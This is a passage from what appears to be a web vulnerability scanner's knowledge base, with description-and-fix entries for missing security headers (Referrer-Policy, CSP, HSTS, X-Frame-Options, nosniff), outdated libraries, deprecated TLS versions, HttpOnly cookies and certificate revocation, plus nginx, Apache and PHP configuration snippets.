This problem can be fixed by sending the header **Referrer-Policy** with a secure value. There are different values available, but not all are considered secure. The following list explains each one, and it is ordered from the safest to the least safe:

- `no-referrer`: never send the header.
- `same-origin`: send the full URL to requests to the same origin (exact scheme + domain)
- `strict-origin`: send only the domain part of the URL, but sends nothing when downgrading to HTTP.
- `origin`: similar to **strict-origin** without downgrade restriction.
- `strict-origin-when-cross-origin`: send full URL within the same origin, but only the domain part when sending to another origin. It sends nothing when downgrading to HTTP.
- `origin-when-cross-origin`: similar to **strict-origin-when-cross-origin** without the downgrade restriction.

Insecure options: * `no-referrer-when-downgrade`: sends the full URL when the scheme does not change. It will send if both origins are, for instance, HTTP. * `unsafe-url`: always sent the full URL

A possible, safe option is `strict-origin`, so for nginx add the following line to your virtual host configuration file:

```
add_header Referrer-Policy "strict-origin" always;
```

It is normally easy to enable the header in the web server configuration file, but it can also be done at the application level.

Please note that the referrer header is written `referer`, with a single `r` but the referrer policy header is properly written, with `rr`: `Referrer-Policy`.

Missing Content Security Policy header

Description

The Content Security Policy (CSP) is an HTTP header through which site owners define a set of security rules that the browser must follow when rendering their site. The most common usage is to define a list of approved sources of content that the browser can load. This can be used to effectively mitigate Cross-Site Scripting (XSS) and Clickjacking attacks.

CSP is flexible enough for you to define from where the browser can load JavaScript, Stylesheets, images, or fonts, among other options. It can also be used in report mode only, a recommended approach before deploying strict rules in a live environment. However, please note that report mode does not protect you, it just logs policy violations.

Fix

You can define a Content Security Policy by setting a header in your application. The header can look like this:

```
Content-Security-Policy: frame-ancestors 'none'; default-src 'self', script-src '*://*.example.com:*'
```

In this example, the **frame-ancestors** directive set to **'none'** indicates that the page cannot be placed inside a frame, not even by itself. The **default-src** defines the loading policy for all resources, in this case, they can be loaded from the current origin (protocol + domain + port). The example sets a more specific policy for scripts, through the **script-src**, restricting script loading to any subdomain of example.com.

The policy can be with different directives, and there are other less strict options for the directives above.

Missing clickjacking protection

Description

A **frameable response** occurs when one or multiple pages can be used on an iframe on any website. This allows the **clickjacking** attack to be used.

Clickjacking is when an attacker a hidden iframe with multiple transparent or opaque layers above it, to trick a user into clicking on a button or link on the iframe when they were intending to click on the the top level page. Thus, the attacker is "hijacking" clicks meant for the top level page and routing them to the iframe.

Using a similar technique, keystrokes can also be hijacked. With a carefully crafted combination of stylesheets, iframes, and text boxes, a user can be led to believe they are typing in the password to their email or bank account, but are instead typing into an invisible frame controlled by the attacker.

Fix

The recommended way to prevent clickjacking is to send a header that instructs the browser to not allow arbitrary framing, typically from other domains.

The current recommendation is to use the Content-Security-Policy HTTP header (CSP) with a **frame-ancestors** directive. This header obsoletes the X-Frame-Options HTTP header.

To use CSP you need the following header:

```
Content-Security-Policy: frame-ancestors 'none'
```

The header might contain more directives, and there are other less strict options for the **frame-ancestors** directive.

If you want to use X-Frame-Options, send the proper HTTP header, with one of the following directives:

```
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
```

A third directive, **ALLOW-FROM** is no longer supported by modern browsers.

If you specify **DENY**, all attempts to load the page in a frame will fail. **SAMEORIGIN** will allow the page to be loaded in the site including it in a frame is the same as the one serving the page.

The most common option is **DENY** when there is no need to load your pages on some other site.

To configure nginx to send the Content-Security-Policy header, add this either to your http server, or location configuration:

```
add_header Content-Security-Policy "frame-ancestors 'none'";
```

To configure nginx to send the X-Frame-Options header, add this either to your http server, or location configuration:

```
add_header X-Frame-Options DENY;
```

JQuery Migrate library with known vulnerabilities

Description

The application uses an outdated version of the JQuery Migrate library, which has known vulnerabilities.

Fix

To fix this issue, please update JQuery Migrate to the latest available version on its official website.

Do not forget to update all the JQuery Migrate files you have on the server.

JQuery library with known vulnerabilities

Description

The application uses an outdated version of the JQuery library, which has known vulnerabilities.

Fix

To fix this issue, please update JQuery to the latest available version on its official website.

Do not forget to update all the JQuery files you have on the server.

Insecure crossdomain.xml policy

Description

The Flash cross-domain policy file defines how flash applications from other domains can interact with the domain hosting this policy file.

An `<allow-access-from domain="*"/>` directive in your crossdomain.xml file means that your application allows an arbitrary flash application (.swf files) running on an arbitrary domain to make requests to your domain and read its response. If a user is logged in your application and visits a site hosting a malicious flash application, that application can make authenticated requests on behalf of the user to your application, by sending the cookies your site sets. With this, it can potentially take control of the victim's account.

If this vulnerability was reported as low severity, it means that Probe.ly does not have the required context to determine the impact of this issue. You are allowing any arbitrary flash application running on any subdomain of your domain to make requests to your site and read its response. If you do not host any user-content on the subdomain specified in your policy then it is safe to ignore this vulnerability.

Fix

To fix this vulnerability you should consider if your application needs to be accessed by flash applications (.swf files). Few applications have this requirement.

If you don't have this requirement, you can safely delete the file, thus fixing the vulnerability.

If you need the file, and you know which domains hosting flash files need to contact your application, you can whitelist those domains by listing each one in the file:

~~~

``` Only flash applications from these domains will be able to interact both-ways with your domain.
~~~

If you need arbitrary domains interacting with yours, you should consider hosting the endpoints that will be accessed in a isolated domain, different from the main one. Do not use a subdomain for this. With this isolation, you will be sure that requests from flash applications will not carry your main domain session cookies, and will not be able to access the account of the user.

## HSTS header not enforced

### Description

The application does not force users to connect over an encrypted channel, i.e. over HTTPS. If the user types the site address in the browser without starting with *https*, it will connect to it over an insecure channel, even if there is a redirect to HTTPS later. Even if the user types *https*, there may be links to the site in HTTP, forcing the user to navigate insecurely. An attacker that is able to intercept traffic between the victim and the site or spoof the site's address can prevent the user from ever connecting to it over an encrypted channel. This way, the attacker is able to eavesdrop all communications between the victim and the server, including the victim's credentials, session cookie and other sensitive information.

### Fix

The application should instruct web browsers to only access the application using HTTPS. To do this, enable HTTP Strict Transport Security (HSTS).

You can do so by sending the `Strict-Transport-Security` header so that a browser that supports HSTS will always enforce a secure connection to your site on all subsequent requests. This will prevent some passive and active attacks such as *sslstrip*.

An HSTS enabled server includes the following header in an HTTPS reply: `Strict-Transport-Security: max-age=15768000;includeSubdomains`

When the browser sees this, it will remember, for the given number of seconds, that the current domain should only be contacted over HTTPS. In the future, if the user types *http://* or omits the scheme, HTTPS is the default. In this example, which includes the option includeSubdomains, all requests to URLs in the current domain and subdomains will be redirected to HTTPS. When you set `includeSubdomains` make sure you can serve all requests over HTTPS! It is, however, important that you add the option `includeSubdomains` whenever is possible.

Instead of changing your application, you can have the web server doing this for you.

You should add the following line to your NGINX host configuration: `add_header Strict-Transport-Security max-age=15768000;includeSubdomains` Note that because HSTS is a "trust on first use" (TOFU) protocol, a user who has never accessed the application will never have seen the HSTS header, and will therefore still be vulnerable to SSL stripping attacks. To mitigate this risk, you can optionally add the 'preload' flag to the HSTS header, and submit the domain for review by browser vendors.

## Deprecated TLS protocol version 1.1 supported

### Description

TLS protocol version 1.1 is outdated and deprecated by security standards such as NIST, PCI-DSS, and alike.

This version has various design flaws that can undermine the security of your communications. The attacker still needs to be able to eavesdrop and intercept the connection before being able to deliver the attack, but given the widespread availability of open Wi-Fi hotspots, the risk cannot be ignored.

If you'd like to know more about secure TLS deployments, we have written an extensive article about it here.

### Fix

To fix this issue, you need to disable TLS 1.1. We also recommend that higher TLS protocol versions are enabled, ideally version 1.2 and above.

For most systems, enabling or disabling TLS versions requires a change on the web server configuration file. Therefore, refer to your web server documentation on how to do that.

If you are using Nginx, you may use the following snippet as a guideline:

```
server { listen 443 ssl; ... ssl_protocols TLSv1.2 TLSv1.3; ... }
```

If using an Apache server, please refer to the following example:

```
<VirtualHost *:443> ... SSLProtocol -all +TLSv1.2 +TLSv1.3 ... </VirtualHost>
```

Note that we are enabling TLS 1.2 and above, reflecting our ideal scenario.

If you need to cater to clients with very old TLS support, such as ancient mobile devices, and know what you are doing, you can keep TLS 1.1 enabled, despite the known weaknesses. These issues are not as serious as the SSL protocol weaknesses, but you should weigh the need to support older clients with the risk of exposing private data. Moreover, keep in mind that TLS 1.2 support is well over 95%.

Deprecated TLS protocol version 1.0 supported

Description

TLS protocol version 1.0 is deprecated and is now considered insecure by security researchers and standards organizations alike. For example, the PCI (Payment Card Industry) Security Standards Council requires that TLS 1.0 is disabled starting from mid-2018.

This version has a design flaw in the way encryption Initialization Vectors (IVs) are handled, and security researchers devised an attack called BEAST that may allow an attacker to eavesdrop on connections using TLS 1.0. However, note that TLS 1.0 is not immediately insecure, especially because BEAST is primarily a client-side attack, so if browsers are up-to-date, the connections should be safe.

In any case, the attacker needs to be able to eavesdrop and intercept the connection before being able to deliver the attack. This may be fairly common considering the frequency that clients establish connections over open Wi-Fi.

If you'd like to know more about secure TLS deployments, we have written an extensive article about it here.

Fix

To fix this issue you need to disable TLS 1.0. We also recommend that higher TLS protocol versions are enabled, ideally version 1.2 and above.

For most systems, enabling or disabling TLS versions requires a change on the web server configuration file. Therefore, refer to your web server documentation on how to do that.

For Nginx, you may use the following snippet as a guideline:

```
server { listen 443 ssl; ... ssl_protocols TLSv1.2 TLSv1.3; ... }
```

Note that we are enabling TLS 1.2 and above, reflecting our ideal scenario.

If you need to cater to clients with very old TLS support, such as ancient mobile devices, and know what you are doing, you can keep TLS 1.0 enabled, despite the known weaknesses. These issues are not as serious as the SSL protocol weaknesses, but you should weight the need to support older clients with the risk of exposing private data. Moreover, keep in mind that TLS 1.2 support is well over 95%.

Cookie without HttpOnly flag

Description

Not having the HttpOnly flag means that the cookie can be accessed by client side scripts, such as JavaScript. This vulnerability by itself is not useful to an attacker since he has no control over client side scripts. However, if a Cross Site Scripting (XSS) vulnerability is present, he might be able to introduce a malicious script in the application, and without the HttpOnly flag, he could read the vulnerable cookie's value.

The most interesting cookie for an attacker is usually the session cookie as it allows him to steal the user's session. Other cookies might be interesting also, depending on the application and the cookie's purposes, so a good rule-of-thumb is to set HttpOnly flag to all cookies.

Mitigating this kind of vulnerability greatly reduces the impact of other possible vulnerabilities, such as XSS, which are very common in most sites.

Fix

To fix a vulnerability of this type, you just need to set the HttpOnly flag on the vulnerable cookie, effectively preventing it from being read by client side scripts.

In PHP, to set HttpOnly in the session cookie, you edit the `php.ini` file and add `session.cookie_httponly = True`. You can set it at application level, if you can't edit `php.ini`. In this case, use the `session_set_cookie_params` function, with the `httponly` parameter `true`:

```
session_set_cookie_params(0, '/', '.example.com', true, true);
```

If this is not a session cookie, but a regular application cookie, you must set the last parameter of your `setcookie` call to true:

```
setcookie("OtherCookie", $value, time()+3600, "/", "example.com", true, true);
```

Certificate without revocation information

Description

A certificate without revocation information cannot be revoked by its owner in case its private key is compromised. Browsers consult the Certificate Revocation List (CRL) or the Online Certificate Status Protocol (OCSP) endpoints that should be present in the certificate, in order to validate it. This means that browsers will not warn the user if they visit a site that is using a malicious certificate, for instance in a Man-in-the-Middle attack. For an attacker to take advantage of this vulnerability it must first obtain the private key and be able to monitor the victim traffic, something that is normally hard to achieve.

Fix

This vulnerability can be fixed by including a CRL or OSCP endpoint in specific attributes of the Certificate. Certificates generated by a public Certification Authority (CA) normally don't have this problem and when they do, it can be fixed by asking them to include the CRL and/or OCSP endpoint.

For certificates obtained from other sources, such as self-signed or generated by an internal CA, you must configure the software that generates the certificates to include that information. Self-signed certificates normally don't have revocation information, especially if they are only used for testing purposes.

Browser content sniffing allowed

Description

The application allows browsers to try to mime-sniff the content-type of the responses. This means the browser may try to guess the content-type by looking at the response content, and render it in way it was not intended to. This behavior may lead to the execution of malicious code, for instance, to explore an XSS vulnerability.

Applications should disable this behavior, forcing browsers to honor the content-type specified in the response. Without a specific content-type set browsers will default to render the content as text, turning XSS payloads innocuous.

Disabling mime-sniffing should be seen as an extra layer of defense against XSS, and not as replacement of the recommended XSS prevention techniques.

Fix

This problem can be fixed by sending the header **X-Content-Type-Options** with value **nosniff**, to force browsers to disable the content-type guessing (the sniffing).

The header should look this:

```
X-Content-Type-Options: nosniff
```

For nginx add the following line to your virtual host configuration file:

```
add_header X-Content-Type-Options "nosniff" always;
```

It is normally easy to enable the header in the web server configuration file, but it can also be done at application level.

Bootstrap library with known vulnerabilities

Description

The application uses an outdated version of the Bootstrap library, which has known vulnerabilities.

Fix

To fix this issue, please update Bootstrap to the latest available version on its official website.

Do not forget to update all the Bootstrap files you have on the server.